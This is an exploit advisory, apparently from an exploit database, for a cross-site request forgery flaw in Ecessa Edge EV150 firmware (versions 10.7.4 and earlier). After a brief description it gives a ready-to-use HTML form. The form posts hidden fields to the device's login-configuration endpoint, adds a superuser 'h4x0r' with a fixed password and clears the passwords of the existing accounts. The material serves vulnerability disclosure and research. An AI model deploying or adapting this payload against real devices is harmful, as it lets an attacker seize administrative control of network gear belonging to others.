Ecessa Edge EV150 10.7.4 – Cross-Site Request Forgery (Add Superuser)
# Exploit Title: Ecessa Edge EV150 10.7.4 - Cross-Site Request Forgery (Add Superuser) # Author: LiquidWorm # Date: 2018-05-21 # Vendor: Ecessa Corporation # Product web page: https://www.ecessa.com # Affected version: 10.7.4, 10.6.9, 10.6.5.2, 10.5.4, 10.2.24, 9.2.24 # Tested on: lighttpd/1.4.35 # Summary: Internet Failover and Load Balancing for Small Businesses, Stores # and Branch Offices. # Desc: The application interface allows users to perform certain actions via # HTTP requests without performing any validity checks to verify the requests. # This can be exploited to perform certain actions with administrative privileges # if a logged-in user visits a malicious web site. <html> <body> <form action="https://Target/cgi-bin/pl_web.cgi/util_configlogin_act" method="POST"> <input type="hidden" name="savecrtcfg" value="checked" /> <input type="hidden" name="user_username1" value="root" /> <input type="hidden" name="user_enabled1" value="on" /> <input type="hidden" name="user_passwd1" value="" /> <input type="hidden" name="user_passwd_verify1" value="" /> <input type="hidden" name="user_delete1" value="" /> <input type="hidden" name="user_username2" value="admin" /> <input type="hidden" name="user_passwd2" value="" /> <input type="hidden" name="user_passwd_verify2" value="" /> <input type="hidden" name="user_delete2" value="" /> <input type="hidden" name="user_username3" value="user" /> <input type="hidden" name="user_enabled3" value="on" /> <input type="hidden" name="user_passwd3" value="" /> <input type="hidden" name="user_passwd_verify3" value="" /> <input type="hidden" name="user_delete3" value="" /> <input type="hidden" name="user_username4" value="h4x0r" /> <input type="hidden" name="user_enabled4" value="on" /> <input type="hidden" name="user_superuser4" value="on" /> <input type="hidden" name="user_passwd4" value="123123" /> <input type="hidden" name="user_passwd_verify4" value="123123" /> <input type="hidden" name="users_num" value="4" /> <input type="hidden" name="page" value="util_configlogin" /> <input type="hidden" name="val_requested_page" value="user_accounts" /> <input type="hidden" name="savecrtcfg" value="checked" /> <input type="hidden" name="page_uuid" value="3e2774f9-1cd3-4d36-a91e-eb9e42b5ba0d" /> <input type="hidden" name="form_has_changed" value="1" /> <input type="submit" value="Supersize!" /> </form> </body> </html> |